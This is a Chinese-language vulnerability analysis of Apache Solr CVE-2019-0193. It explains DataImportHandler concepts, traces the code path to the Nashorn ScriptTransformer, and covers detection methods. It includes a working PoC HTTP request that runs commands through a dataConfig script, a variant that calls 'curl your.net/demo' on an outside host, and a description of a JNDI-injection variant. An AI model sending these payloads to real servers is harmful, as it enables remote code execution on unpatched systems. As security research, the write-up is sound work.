apache solr远程代码执行漏洞(cve-2019-0193)

简介

Apache Solr是一个企业级搜索平台，用Java编写且开源，基于Apache Lucene项目。

主要功能包括：
- full-text search 全文搜索
- hit highlighting
- faceted search
- dynamic clustering 动态聚类
- document parsing 文档解析

Solr可以像数据库一样被使用：
- 1.运行服务器，创建collection1
- 2.从外部获取数据 - 向collection1发送不同类型的数据（例如文本，xml文档，pdf文档等任何格式）
- 3.存储数据并生成索引 - Solr自动索引这些数据并提供快速、丰富的REST API接口，以便于你搜索已有数据

与Solr服务器通信的唯一协议是HTTP，并且默认情况下无需身份验证即可访问，所以Solr容易受到web攻击(SSRF，CSRF等)。

漏洞信息

8月1日，Apache Solr官方发布了CVE-2019-0193漏洞预警。

此漏洞位于Apache Solr的可选模块DataImportHandler模块中。

模块介绍：
DataImportHandler模块
虽然是一个可选模块，但是它常常被使用。
该模块的作用:从数据源（数据库或其他源）中提取数据。

该模块的配置信息 "DIH配置"(DIH configuration) 可使用以下的方式指定:
- Server端 - 通过Server的“配置文件“来指定配置信息"DIH配置"
- web请求 - 使用web请求中的dataConfig参数(该参数用户可控）来指定配置信息"DIH配置"（整个DIH配置可以来自请求的“dataConfig”参数）

漏洞描述:
Apache Solr如果启用了DataImportHandler模块，因为它支持使用web请求来指定配置信息"DIH配置" ，攻击者可构造HTTP请求指定dataConfig参数的值(dataConfig内容)，dataConfig内容完全可控(多种利用方式)，后端处理的过程中，可导致命令执行。

利用方式:
(其中一种利用方式)
"DIH配置" ("DIH配置"中可以包含脚本内容，本来是为了对数据进行转换)，构造包含脚本的配置信息当Web后端处理该请求时，会使用“脚本转换器“(ScriptTransformer)对“脚本“进行解析，而Web后端未对脚本内容做任何限制(可以导入并使用任意的Java类，如执行命令的类)，导致可以执行任意代码。

利用条件：
1.Apache Solr的DataImportHandler启用了模块DataImportHandler(默认情况下该模块不会被启用)
2.Solr Admin UI未开启鉴权认证。（默认情况下打开web界面无需任何认证）

影响范围:
Apache Solr < 8.2.0 并且开启了DataImportHandler模块(默认情况下该模块不被启用)，存在该漏洞。
Solr>=8.2.0版安全。因为从Solr>=8.2.0版开始，默认不可使用dataConfig参数，想使用此参数需要将Java System属性“enable.dih.dataConfigParam”设置为true。只有当Solr>=8.2.0但是主动将Java System属性“enable.dih.dataConfigParam”设置为true，才存在漏洞。

参考自 https://issues.apache.org/jira/browse/SOLR-13669

基础概念

基础概念 - DIH概念和术语

参考官方资料
https://lucene.apache.org/solr/guide/8_1/uploading-structured-data-store-data-with-the-data-import-handler.html#dih-concepts-and-terminology

数据导入处理程序(the Data Import Handler,DIH)常用术语
- Datasource (数据源)
- 概念：数据源，定义了即将导入Solr的 “Solr之外的“ 【数据的位置】。
- 数据源有很多种：
  - 导入Solr的数据如果来自"数据库"，此时数据源(外部数据的位置)就是一个DSN(Data Source Name)
  - 导入Solr的数据如果来自“HTTP的响应“ （如RSS订阅源、atom订阅源、结构化的XML...），此时数据源(外部数据的位置)就是URL地址
  - ...支持多种数据源参考以上链接
- Entity - 实体
  - Conceptually, an entity is processed to generate a set of documents, containing multiple fields, which (after optionally being transformed in various ways) are sent to Solr for indexing. For a RDBMS data source, an entity is a view or table, which would be processed by one or more SQL statements to generate a set of rows (documents) with one or more columns (fields).
  - 从概念上讲，“实体“被处理是为了生成Solr中的一组文档(a set of documents)，包含多个字段fields)，这些字段(可以用各种方式转换之后)发送到Solr进行索引。对于RDBMS(关系型数据库)数据源，实体是这个RDBMS中的一个视图(view)或表(table)，它们将被一个或多个SQL语句处理，从而生成Solr中的一组行(文档)，这些行(文档)，具有一个或多个列(字段)。
  - 个人理解，实体就是外部的数据源中的实实在在的“数据“。
- Processor - 实体处理器
  - An entity processor does the work of extracting content from a data source, transforming it, and adding it to the index. Custom entity processors can be written to extend or replace the ones supplied.
  - 实体处理器从(Solr外部的)"数据源"中提取数据内容，转换数据内容并将其添加到Solr索引中。可以编写"自定义实体处理器"(Custom entity processors)来扩展或替换已提供的处理器。
  - 个人理解，实体处理器的作用是“提取“并“转换“外部数据。
- Transformer - 转换器
  - Each set of fields fetched by the entity may optionally be transformed. This process can modify the fields, create new fields, or generate multiple rows/documents form a single row.
  - 实体（从Solr之外的数据源中）获取的每一组字段，都可以有选择地被“转换器“转换。此转换过程可以修改字段(fields)、创建新字段、或从单单一行(a single row)生成多个rows/documents。
  - 个人理解，“转换器“主要是被“实体处理器“调用，用来对“数据内容“做转换。
  - There are several built-in transformers in the DIH, which perform functions such as modifying dates and stripping HTML. It is possible to write custom transformers using the publicly available interface.
  - DIH中有几个内置转换器，它们执行诸如修改日期(modifying dates)和剥离HTML(stripping HTML)等函数。可以使用"public的接口"编写自定义转换器。

基础概念 - dataconfig

参考官方资料
https://lucene.apache.org/solr/guide/6_6/uploading-structured-data-store-data-with-the-data-import-handler.html#configuring-the-dih-configuration-file

https://cwiki.apache.org/confluence/display/solr/DataImportHandler
尤其是其中的“Usage with XML/HTTP Datasource”

Solr如何从外部数据源中获取数据呢？
使用DataImportHandler模块，只需要提供dataConfig (配置信息)即可。

因为配置信息详细的说明了：“导入数据“、“转换数据“等操作需要的所有参数。

配置信息应该怎么写？需要符合语法。

看例1即可看到：“导入数据“、“转换数据“等操作需要的所有参数。

dataConfig 内容例1：

数据源为“数据库的位置”

<dataConfig> <!-- 第1个元素是dataSource   driver属性值说明了"JDBC驱动程序的路径"; url属性说明了“JDBC URL“; user属性说明了“登录凭据“ ...--><dataSource driver="org.hsqldb.jdbcDriver" url="jdbc:hsqldb:./example-DIH/hsqldb/ex" user="sa" password="secret"/> <!-- 第2个元素是document  它包含了多个entity(实体)元素  注意 entity(实体)可以嵌套entity(实体) --><document> <!-- 下面紧接着一行 是个root entity(根实体)元素   含有1个或多个 field(字段)元素，它们的作用是将“数据源字段名称“映射到“Solr中的字段“，并可选择指定每个字段的转换  --><entity name="item" query="select * from item"deltaQuery="select id from item where last_modified > '${dataimporter.last_index_time}'"> <field column="NAME" name="name" /><entity name="feature"query="select DESCRIPTION from FEATURE where ITEM_ID='${item.ID}'"deltaQuery="select ITEM_ID from FEATURE where last_modified > '${dataimporter.last_index_time}'"parentDeltaQuery="select ID from item where ID=${feature.ITEM_ID}"> <!-- 上面紧接的一行中 ID的值的含义是 是当前item(项) 的 “ID” column(列) 的值  --><field name="features" column="DESCRIPTION" /></entity><entity name="item_category"query="select CATEGORY_ID from item_category where ITEM_ID='${item.ID}'"deltaQuery="select ITEM_ID, CATEGORY_ID from item_category where last_modified > '${dataimporter.last_index_time}'"parentDeltaQuery="select ID from item where ID=${item_category.ITEM_ID}"><entity name="category"query="select DESCRIPTION from category where ID = '${item_category.CATEGORY_ID}'"deltaQuery="select ID from category where last_modified > '${dataimporter.last_index_time}'"parentDeltaQuery="select ITEM_ID, CATEGORY_ID from item_category where CATEGORY_ID=${category.ID}"><field column="description" name="cat" /></entity></entity></entity></document>
</dataConfig>

基础概念 - ScriptTransformer

参考官方资料 https://lucene.apache.org/solr/guide/6_6/uploading-structured-data-store-data-with-the-data-import-handler.html#the-scripttransformer

脚本转换器(ScriptTransformer)：它允许开发者使用Java支持的任何脚本语言。
实际情况：Java 8默认自带了Javascript脚本解析引擎，需要支持其他语言的话需要自己整合(JRuby、Jython、Groovy、BeanShell等)

要写脚本必须满足以下条件："脚本内容"写在数据库配置文件中的<script>脚本内容</script>标签之内，并且每个函数都必须接受一个名为row的变量，该变量的数据类型为 Map<String,Object>(键名-键值映射)，因为是Map类型的变量，所以它可以使用get(),put(),remove(),clear()等方法操作元素。
所以通过脚本可以实现各种操作：修改已存在的字段的值、添加新字段等。
每个函数的返回值都返回的是"对象"。

该脚本将插入DIH配置文件中（脚本内容在DIH配置文件中的第一行开始），并为每一个"行"(row)调用一次脚本，有多少"行"(row)就调用多少次脚本。

看一个简单的例子

dataConfig 内容例2：

数据源为“数据库的位置”

<dataconfig><!-- 函数定义：  该脚本的作用是，获取"华氏温度"（键名为temp_f）数值，计算出对应的"摄氏温度"（键名为temp_c ）的值如99 ，插入键值对   'temp_c',99 到这个名为row的Map对象，retrun该对象  --><!-- 函数定义：生成一个新的row的脚本 它的作用是获取到华氏温度temp_f  根据该数值计算出 摄氏温度temp_c 并生成一个新row    --><script><![CDATA[function f2c(row) {var tempf, tempc;tempf = row.get('temp_f');if (tempf != null) {tempc = (tempf - 32.0)*5.0/9.0;row.put('temp_c', temp_c);}return row;}]]></script><document><!-- 函数调用：实体entity 中的属性transformer的值 为 函数名称（字符串 f2c ）,这样从外部数据源取到一条row，就会调用一次上面脚本中定义的名为f2c函数.  有多少条数据就调用多少次脚本中的函数 --><entity name="e1" pk="id" transformer="script:f2c" query="select * from X">....</entity></document>
</dataConfig>

基础概念 - Nashorn引擎

在Solr的Java环境中使用了Nashorn引擎，它的作用
- 1.实现Java环境解析Javascript脚本
- 2.在Nashorn引擎的支持下,JavaScript脚本可以使用Java中的东西。

如下，JavaScript脚本中可以使用Java.typeAPI方法，实现在JavaScript中引用Java中的类 (像Java中的import一样)，并在JavaScript脚本中使用该Java类中的Java方法

var MyJavaClass = Java.type(`my.package.MyJavaClass`);var result = MyJavaClass.sayHello('Nashorn');
print(result);

环境搭建

运行环境：
macOS系统

java -versionjava version "1.8.0_121"
Java(TM) SE Runtime Environment (build 1.8.0_121-b13)
Java HotSpot(TM) 64-Bit Server VM (build 25.121-b13, mixed mode)

使用Solr 8.1.1二进制版，下载地址 https://archive.apache.org/dist/lucene/solr/8.1.1/solr-8.1.1.zip

使用Solr的example-DIH 路径在example-DIH/solr/ 它自带了一些可用的索引库: atom, db, mail, solr, tika

启动Solr开始动态调试。

PoC

进入DIH admin界面：

http://solr.com:8983/solr/#/tika/dataimport/dataimport

如图，这里我选择了Solr example程序中自带的名为tika的索引库（Solr中把索引库叫core)，并填写了dataConfig信息。

构造PoC的注意点1：debug=true
如图，DataImportHandler模块的DIH admin界面中有一个debug选项(本来是为了方便对"DIH配置"进行调试或开发)，勾选Debug，点击Execute，看到在HtTP请求中是debug=true，在PoC中必须带上它（为了回显结果）。

构造PoC的注意点2：dataConfig信息
注意：数据配置(dataconfig)中实体(entity)、字段(field)标签中有哪些属性取决于用了哪个处理器(processor)、哪个转换器(transformer)

dataConfig信息中的关键点（1）：这里我使用的数据源的类型是URLDataSource(理论上其他数据源的类型都可以)
dataConfig信息中的关键点（2）：既然有（1），所以<document>中的 <entity>实体标签里说明了该实体的属性。

<entity>实体的属性
- 属性name 必填用于标识实体的唯一名称
- 属性processor可选项默认值为SqlEntityProcessor，所以当数据源不是RDBMS时必须填写该项。对于URLDataSource类型的数据源而言，它的值必须为“XPathEntityProcessor”(根据官方说明只能使用XPathEntityProcessor对‘URL的HTTP响应“做处理)；
- 属性transformer可选项填写格式为transformer="script:<function-name>" 指定了转换数据时具体的transformer(转换器)需要执行的脚本函数的名称(即字符串“poc“)；
- 属性forEach 必填值为Xpath表达式用于“划分“记录。如果有多种类型的记录就用|符号把这些表达式分隔开；
- 属性url的值用于调用REST API的URL(可以模板化)

dataConfig信息中的关键点（3）：<dataConfig>中的<script>标签中，写了名为"poc"的脚本函数的具体实现。

抓到HTTP请求，看到是POST方法（用GET完全可以），其中dataConfig是URL编码的（直接用原始数据发现也可以），PoC如下：

POST /solr/tika/dataimport HTTP/1.1
Host: solr.com:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://solr.com:8983/solr/
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 585
Connection: closecommand=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=
<dataConfig><dataSource type="URLDataSource"/><script><![CDATA[function poc(){ java.lang.Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");}]]></script><document><entity name="stackoverflow"url="https://stackoverflow.com/feeds/tag/solr"processor="XPathEntityProcessor"forEach="/feed"transformer="script:poc" /></document>
</dataConfig>

执行成功。

同一类型的PoC：

<script><![CDATA[function poc(data){
new java.lang.ProcessBuilder["(java.lang.String[])"](["/bin/sh","-c", "curl your.net/demo"]).start()
}]]></script>

漏洞分析

在Web浏览器中启动Solr的web管理界面 Solr Admin UI，默认无任何认证，直接访问 http://127.0.0.1:8983/solr/
看到Solr正在运行

路由分析：Web后端收到URL为 /solr/xxx_core_name/dataimport 的 HTTP请求时，会将HTTP请求实参req传入DataImportHandler类的handleRequestBody方法。

文件位置：/solr-8.1.1/dist/solr-dataimporthandler-8.1.1.jar!/org/apache/solr/handler/dataimport/DataImportHandler.class
关键的类：org.apache.solr.handler.dataimport.DataImportHandler

按command+F12查看 DataImportHandler类的方法和成员变量

图a

关键方法：很容易发现，DataImportHandler类的handleRequestBody方法是用于接受HTTP请求的。
在该方法下断点，以便跟踪输入的数据是如何被处理的。（函数体过长我折叠了部分逻辑）

图0

执行逻辑：从PoC中可见，HTTP请求中有debug=true，根据handleRequestBody方法体中的if-else分支判断逻辑可知，会调用maybeReloadConfiguration方法(功能是重新加载配置)。

关键方法：maybeReloadConfiguration方法
关键语句：this.importer.maybeReloadConfiguration(requestParams, defaultParams);

图1

跟进(Step into)关键方法 maybeReloadConfiguration 方法

图2

关键语句：String dataConfigText = params.getDataConfig();//获取HTTP请求中POST body中的参数dataConfig的值
执行逻辑：maybeReloadConfiguration方法体中，会获取HTTP请求中POST body中的参数dataConfig的值，即“DataConfig配置信息“，如果该值不为空则该值传递给loadDataConfig方法(功能是加载DataConfig配置信息)

本次调试过程中的"DataConfig配置信息"：

<dataConfig><dataSource type="URLDataSource"/><script><![CDATA[function poc(){ java.lang.Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");}]]></script><document><entity name="stackoverflow"url="https://stackoverflow.com/feeds/tag/solr"processor="XPathEntityProcessor"forEach="/feed"transformer="script:poc" /></document>
</dataConfig>

解释：
<dataSource type="URLDataSource"/>表示数据源的类型为URLDataSource

并且该数据源的实体，属性如下

<entity name="stackoverflow"url="https://stackoverflow.com/feeds/tag/solr"processor="XPathEntityProcessor"forEach="/feed"transformer="script:poc" />

跟进(Step into)关键方法 loadDataConfig方法

图3

执行逻辑：loadDataConfig方法的具体实现中，调用了readFromXml方法，从xml数据中读取信息。
关键语句：dihcfg = this.readFromXml(document);

跟进(Step into)关键方法 readFromXml方法

readFromXml方法体

关键语句：return new DIHConfiguration((Element)documentTags.get(0), this, functions, script, dataSources, pw);

执行逻辑：readFromXml方法的具体实现中，根据各种不同名称的标签(如document，script，function，dataSource等)，得到了配置数据中的元素。如，配置信息中的自定义脚本在此处被赋值给名为script的Script类型的变量中。使用“迭代器“递归解析完所有标签后，new一个DIHConfiguration对象(传入的6个实参中有个是script变量），这个DIHConfiguration对象作为readFromXml方法的返回值，被return。

该DIHConfiguration对象，实际赋值给了（调用readFromXml方法的） loadDataConfig方法体中的名为dihcfg的变量。（见图3）

回溯：现在的情况是，之前在loadDataConfig方法体中调用了的readFromXml方法已经执行结束并返回了一个DIHConfiguration对象，赋值给了loadDataConfig方法体中的那个名为dihcfg的变量，loadDataConfig方法成功获取到配置信息。

回溯：现在的情况是，之前的maybeReloadConfiguration方法体中调用了的loadDataConfig方法执行结束，DataImporter类的maybeReloadConfiguration方法也得到它需要的boolean返回值，true(见图2)

DataImporter类 org.apache.solr.handler.dataimport.DataImporter

DataImporter类包含的方法和变量，如图，重点关注的方法是：

maybeReloadConfiguration方法 - boolean maybeReloadConfiguration(RequestInfo params, NamedList<?> defaultParams)
doFullImport方法 - public void doFullImport(DIHWriter writer, RequestInfo requestParams)
runCmd方法

DataImporter类包含的方法和变量

回溯：现在的情况可参考图0，回到了DataImportHandler类的handleRequestBody方法体中，在该方法体中调用了的(DataImporter类中的)maybeReloadConfiguration方法已经执行结束，继续向下执行到关键语句this.importer.runCmd(requestParams, sw);调用了(DataImporter类中的)runCmd方法

跟进(Step into)关键方法：(DataImporter类中的)runCmd方法

图4 - runCmd方法的方法体

跟进DataImporter类中的doFullImport方法体

doFullImport方法体

功能如下
首先创建一个DocBuilder对象。
DocBuilder对象的主要功能是从给定配置中创建Solr文档该对象具有名为config的DIHConfiguration类型的成员变量见代码 private DIHConfiguration config;

然后调用该DocBuilder对象的execute()方法，作用是使用“迭代器“ this.config.getEntities().iterator();
，解析"DIH配置" 即名为config的DIHConfiguration类型的成员变量，根据“属性名称“（如preImportDeleteQuery、postImportDeleteQuery、）获得Entity的所有属性。

最终得到是一个EntityProcessorWrapper对象。

简单介绍下DocBuilder类。
DocBuilder类 org.apache.solr.handler.dataimport.DocBuilder

DocBuilder类包含的方法，如下图，重点关注：

execute()方法  -   public void execute()
doFullDump()方法  -   private void doFullDump()

DocBuilder类包含的方法

简单介绍下EntityProcessorWrapper类。
EntityProcessorWrapper类 org.apache.solr.handler.dataimport.EntityProcessorWrapper

EntityProcessorWrapper是一个比较关键的类，继承自EntityProcessor，在整个解析过程中起到重要的作用。

EntityProcessorWrapper类的更多信息参考
https://lucene.apache.org/solr/8_1_1/solr-dataimporthandler/org/apache/solr/handler/dataimport/EntityProcessorWrapper.html

EntityProcessorWrapper类包含的方法，如下图，重点的是：
loadTransformers()方法 - 作用：加载转换器

EntityProcessorWrapper类包含的方法

在解析完config数据后，solr会把最后“更新时间“记录到配置文件中，这个时间是为了下次进行增量更新的时候用的。
接着通过this.dataImporter.getStatus()判断当前数据导入是“增量导入”即doDelta()方法，还是“全部导入”即doFullDump()方法。
本次调试中的操作是全部导入”，因此调用doFullDump()方法

execute方法中的doFullDump()方法

跟进DocBuilder类中的doFullDump方法体：

private void doFullDump() {this.addStatusMessage("Full Dump Started");this.buildDocument(this.getVariableResolver(), (DocBuilder.DocWrapper)null, (Map)null, this.currentEntityProcessorWrapper, true, (ContextImpl)null);}

可见，在doFullDump()方法体中，调用的是DocBuilder类中的buildDocument()方法。
作用是为发送的配置数据的每一个Processor做解析(调用getVariableResolver()方法)，当发送的entity中含有Transformers时，会进行相应的转换操作。

例如 DateFormatTransformer 转换成日期格式
例如 RegexTransformer 根据正则表达式转换
例如 ScriptTransformer 根据用户自定义的脚本进行数据转换(漏洞关键：脚本内容完全用户可控！！)
等等

具体如何执行JavaScript脚本？继续跟进，DocBuilder类中的buildDocument()方法。

private void buildDocument(VariableResolver vr, DocBuilder.DocWrapper doc, Map<String, Object> pk, EntityProcessorWrapper epw, boolean isRoot, ContextImpl parentCtx, List<EntityProcessorWrapper> entitiesToDestroy) {ContextImpl ctx = new ContextImpl(epw, vr, (DataSource)null, pk == null ? "FULL_DUMP" : "DELTA_DUMP", this.session, parentCtx, this);epw.init(ctx);if (!epw.isInitialized()) {entitiesToDestroy.add(epw);epw.setInitialized(true);}if (this.reqParams.getStart() > 0) {this.getDebugLogger().log(DIHLogLevels.DISABLE_LOGGING, (String)null, (Object)null);}if (this.verboseDebug) {this.getDebugLogger().log(DIHLogLevels.START_ENTITY, epw.getEntity().getName(), (Object)null);}int seenDocCount = 0;try {while(!this.stop.get()) {if (this.importStatistics.docCount.get() > (long)this.reqParams.getStart() + this.reqParams.getRows()) {return;}try {++seenDocCount;if (seenDocCount > this.reqParams.getStart()) {this.getDebugLogger().log(DIHLogLevels.ENABLE_LOGGING, (String)null, (Object)null);}if (this.verboseDebug && epw.getEntity().isDocRoot()) {this.getDebugLogger().log(DIHLogLevels.START_DOC, epw.getEntity().getName(), (Object)null);}if (doc == null && epw.getEntity().isDocRoot()) {doc = new DocBuilder.DocWrapper();ctx.setDoc(doc);for(Entity e = epw.getEntity(); e.getParentEntity() != null; e = e.getParentEntity()) {this.addFields(e.getParentEntity(), doc, (Map)vr.resolve(e.getParentEntity().getName()), vr);}}Map<String, Object> arow = epw.nextRow();if (arow == null) {return;}if (epw.getEntity().isDocRoot()) {if (seenDocCount <= this.reqParams.getStart()) {continue;}if ((long)seenDocCount > (long)this.reqParams.getStart() + this.reqParams.getRows()) {log.info("Indexing stopped at docCount = " + this.importStatistics.docCount);return;}}if (this.verboseDebug) {this.getDebugLogger().log(DIHLogLevels.ENTITY_OUT, epw.getEntity().getName(), arow);}this.importStatistics.rowsCount.incrementAndGet();DocBuilder.DocWrapper childDoc = null;if (doc != null) {if (epw.getEntity().isChild()) {childDoc = new DocBuilder.DocWrapper();this.handleSpecialCommands(arow, childDoc);this.addFields(epw.getEntity(), childDoc, arow, vr);doc.addChildDocument(childDoc);} else {this.handleSpecialCommands(arow, doc);vr.addNamespace(epw.getEntity().getName(), arow);this.addFields(epw.getEntity(), doc, arow, vr);vr.removeNamespace(epw.getEntity().getName());}}if (epw.getEntity().getChildren() != null) {vr.addNamespace(epw.getEntity().getName(), arow);Iterator var12 = epw.getChildren().iterator();while(var12.hasNext()) {EntityProcessorWrapper child = (EntityProcessorWrapper)var12.next();if (childDoc != null) {this.buildDocument(vr, childDoc, child.getEntity().isDocRoot() ? pk : null, child, false, ctx, entitiesToDestroy);} else {this.buildDocument(vr, doc, child.getEntity().isDocRoot() ? pk : null, child, false, ctx, entitiesToDestroy);}}vr.removeNamespace(epw.getEntity().getName());}if (epw.getEntity().isDocRoot()) {if (this.stop.get()) {return;}if (!doc.isEmpty()) {boolean result = this.writer.upload(doc);if (this.reqParams.isDebug()) {this.reqParams.getDebugInfo().debugDocuments.add(doc);}doc = null;if (result) {this.importStatistics.docCount.incrementAndGet();} else {this.importStatistics.failedDocCount.incrementAndGet();}}}} catch (DataImportHandlerException var24) {if (this.verboseDebug) {this.getDebugLogger().log(DIHLogLevels.ENTITY_EXCEPTION, epw.getEntity().getName(), var24);}if (var24.getErrCode() != 301) {if (!isRoot) {throw var24;}if (var24.getErrCode() == 300) {this.importStatistics.skipDocCount.getAndIncrement();doc = null;} else {SolrException.log(log, "Exception while processing: " + epw.getEntity().getName() + " document : " + doc, var24);}if (var24.getErrCode() == 500) {throw var24;}}} catch (Exception var25) {if (this.verboseDebug) {this.getDebugLogger().log(DIHLogLevels.ENTITY_EXCEPTION, epw.getEntity().getName(), var25);}throw new DataImportHandlerException(500, var25);} finally {if (this.verboseDebug) {this.getDebugLogger().log(DIHLogLevels.ROW_END, epw.getEntity().getName(), (Object)null);if (epw.getEntity().isDocRoot()) {this.getDebugLogger().log(DIHLogLevels.END_DOC, (String)null, (Object)null);}}}}} finally {if (this.verboseDebug) {this.getDebugLogger().log(DIHLogLevels.END_ENTITY, (String)null, (Object)null);}}}

可见方法体中，有一行语句是Map<String, Object> arow = epw.nextRow();，功能是“读取EntityProcessorWrapper的每一个元素“，该方法返回的是一个Map对象。

对该语句下断点，进入EntityProcessorWrapper类中的nextRow方法：

EntityProcessorWrapper类中的nextRow方法的方法体

可见，EntityProcessorWrapper类中的nextRow方法体中，调用了EntityProcessorWrapper类中的applyTransformer()方法。

继续跟进，EntityProcessorWrapper类中的applyTransformer()方法体：
功能
第1步.调用loadTransformers方法，作用是“加载转换器“
第2步.调用对应的Transformer的transformRow方法

applyTransformer()方法体

applyTransformer()方法体，代码如下

protected Map<String, Object> applyTransformer(Map<String, Object> row) {if (row == null) {return null;} else {if (this.transformers == null) {this.loadTransformers();}if (this.transformers == Collections.EMPTY_LIST) {return row;} else {Map<String, Object> transformedRow = row;List<Map<String, Object>> rows = null;boolean stopTransform = this.checkStopTransform(row);VariableResolver resolver = this.context.getVariableResolver();Iterator var6 = this.transformers.iterator();while(var6.hasNext()) {Transformer t = (Transformer)var6.next();if (stopTransform) {break;}try {if (rows == null) {resolver.addNamespace(this.entityName, transformedRow);Object o = t.transformRow(transformedRow, this.context);if (o == null) {return null;}if (o instanceof Map) {Map oMap = (Map)o;stopTransform = this.checkStopTransform(oMap);transformedRow = (Map)o;} else if (o instanceof List) {rows = (List)o;} else {log.error("Transformer must return Map<String, Object> or a List<Map<String, Object>>");}} else {List<Map<String, Object>> tmpRows = new ArrayList();Iterator var9 = ((List)rows).iterator();while(var9.hasNext()) {Map<String, Object> map = (Map)var9.next();resolver.addNamespace(this.entityName, map);Object o = t.transformRow(map, this.context);if (o != null) {if (o instanceof Map) {Map oMap = (Map)o;stopTransform = this.checkStopTransform(oMap);tmpRows.add((Map)o);} else if (o instanceof List) {tmpRows.addAll((List)o);} else {log.error("Transformer must return Map<String, Object> or a List<Map<String, Object>>");}}}rows = tmpRows;}} catch (Exception var13) {log.warn("transformer threw error", var13);if ("abort".equals(this.onError)) {DataImportHandlerException.wrapAndThrow(500, var13);} else if ("skip".equals(this.onError)) {DataImportHandlerException.wrapAndThrow(300, var13);}}}if (rows == null) {return transformedRow;} else {this.rowcache = (List)rows;return this.getFromRowCache();}}}}

第1步.
调用loadTransformers()方法。
查看loadTransformers()方法体，可见它的作用是“加载转换器“：
即如果trans以script:开头，则new一个ScriptTransformer对象。

loadTransformers()方法的方法体

loadTransformers()方法体，代码如下

void loadTransformers() {String transClasses = this.context.getEntityAttribute("transformer");if (transClasses == null) {this.transformers = Collections.EMPTY_LIST;} else {String[] transArr = transClasses.split(",");this.transformers = new ArrayList<Transformer>() {public boolean add(Transformer transformer) {if (EntityProcessorWrapper.this.docBuilder != null && EntityProcessorWrapper.this.docBuilder.verboseDebug) {transformer = EntityProcessorWrapper.this.docBuilder.getDebugLogger().wrapTransformer(transformer);}return super.add(transformer);}};String[] var3 = transArr;int var4 = transArr.length;for(int var5 = 0; var5 < var4; ++var5) {String aTransArr = var3[var5];String trans = aTransArr.trim();if (trans.startsWith("script:")) {this.checkIfTrusted(trans);String functionName = trans.substring("script:".length());ScriptTransformer scriptTransformer = new ScriptTransformer();scriptTransformer.setFunctionName(functionName);this.transformers.add(scriptTransformer);} else {try {Class clazz = DocBuilder.loadClass(trans, this.context.getSolrCore());if (Transformer.class.isAssignableFrom(clazz)) {this.transformers.add((Transformer)clazz.newInstance());} else {Method meth = clazz.getMethod("transformRow", Map.class);this.transformers.add(new EntityProcessorWrapper.ReflectionTransformer(meth, clazz, trans));}} catch (NoSuchMethodException var10) {String msg = "Transformer :" + trans + "does not implement Transformer interface or does not have a transformRow(Map<String.Object> m)method";log.error(msg);DataImportHandlerException.wrapAndThrow(500, var10, msg);} catch (Exception var11) {log.error("Unable to load Transformer: " + aTransArr, var11);DataImportHandlerException.wrapAndThrow(500, var11, "Unable to load Transformer: " + trans);}}}}}

第2步.调用对应的Transformer的transformRow方法

transformRow方法体的执行步骤：
第(1)步.初始化脚本引擎
第(2)步.使用invoke执行脚本

transformRow方法的方法体

transformRow方法体，代码如下

public Object transformRow(Map<String, Object> row, Context context) {try {if (this.engine == null) {this.initEngine(context);}return this.engine == null ? row : this.engine.invokeFunction(this.functionName, row, context);} catch (DataImportHandlerException var4) {throw var4;} catch (Exception var5) {DataImportHandlerException.wrapAndThrow(500, var5, "Error invoking script for entity " + context.getEntityAttribute("name"));return null;}}

第(1)步:
transformRow方法体中的语句this.initEngine(context);调用了initEngine方法(该方法只做初始化，并未执行JavaScript脚本)

调试过程中，可查看到initEngine方法中的名为scriptText的String类型的变量，值为：

function poc(){ java.lang.Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");}

第(2)步:
调用Nashorn脚本引擎的invokeFunction方法，在Java环境中执行JavaScript脚本：

transformRow方法体中的语句this.engine.invokeFunction(this.functionName, row, context);

附：Nashorn脚本引擎的invokeFunction方法定义：

public Object invokeFunction(String name, Object... args) throws ScriptException, NoSuchMethodException {return this.invokeImpl((Object)null, name, args);}

后来发现Solr中的Nashorn脚本引擎的invokeFunction方法（这个能执行JavaScript代码的“值得关注”的方法），其实只在ScriptTransformer类中被调用。

漏洞检测

第1种检测方式

Exploit1使用数据源的类型为URLDataSource

优点：结果回显支持对Solr低版本的检测
缺点：需要出网

具体参考 https://github.com/1135/solr_exploit#%E6%A3%80%E6%B5%8B%E6%BC%8F%E6%B4%9E---exploit1

第2种检测方式

Exploit2使用的数据源类型为 ContentStreamDataSource

优点:结果回显无需出网

缺点:对低版本无法检测 - 因为通过POST请求修改configoverlay.json文件中的配置会失败

具体参考 https://github.com/1135/solr_exploit#%E6%A3%80%E6%B5%8B%E6%BC%8F%E6%B4%9E---exploit2

第3种检测方式

缺点：需要出网且 JNDI注入的payload受目标主机JDK版本影响（不够通用）

这种利用方式，使用数据源的类型为 "JdbcDataSource" ，并且driver 为"com.sun.rowset.JdbcRowSetImpl"

PoC中的DataConfig中，指定了Jdbc数据源(JdbcDataSource)的这些属性：
driver属性 (必填) - The jdbc driver classname
url属性 (必填) - The jdbc connection url (如果用到了jndiName属性则不必填url属性)
jndiName属性可选项 - 预配置数据源的JNDI名称(JNDI name of the preconfigured datasource)

其中jndiName属性属性的值，指定了payload的位置，待执行代码在rmi:地址中。

(发送HTTP请求前还需进行URL编码)

通过这种方式，我们使用基于com.sun.rowset.JdbcRowSetImpl类的已知gadget chain即可触发反序列化攻击。

需要为'jndiName'属性和'autoCommit'属性调用两个setter，并引导我们进行易受攻击的'InitialContext.lookup'操作，因此我们可以将它作为普通的“JNDI解析攻击“(JNDI resolution attack)来利用。

JNDI攻击可参阅文章"Exploiting JNDI Injections" https://www.veracode.com/blog/research/exploiting-jndi-injections-java

Solr基于Jetty，因此Tomcat技巧在这里不适用，但你可以依赖于远程类加载(remote classloading)，它最近为LDAP已经做了修复。

总结

Apache Solr的DataImportHandler模块，因为支持使用web请求来指定配置信息"DIH配置" ，攻击者可构造HTTP请求指定dataConfig参数的值(dataConfig内容)，dataConfig内容完全可控(多种利用方式)，后端处理的过程中，可导致命令执行。

使用前两种检测办法，可以更准确地检测该漏洞。

靶机环境：

https://vulhub.org/#/environments/solr/CVE-2019-0193/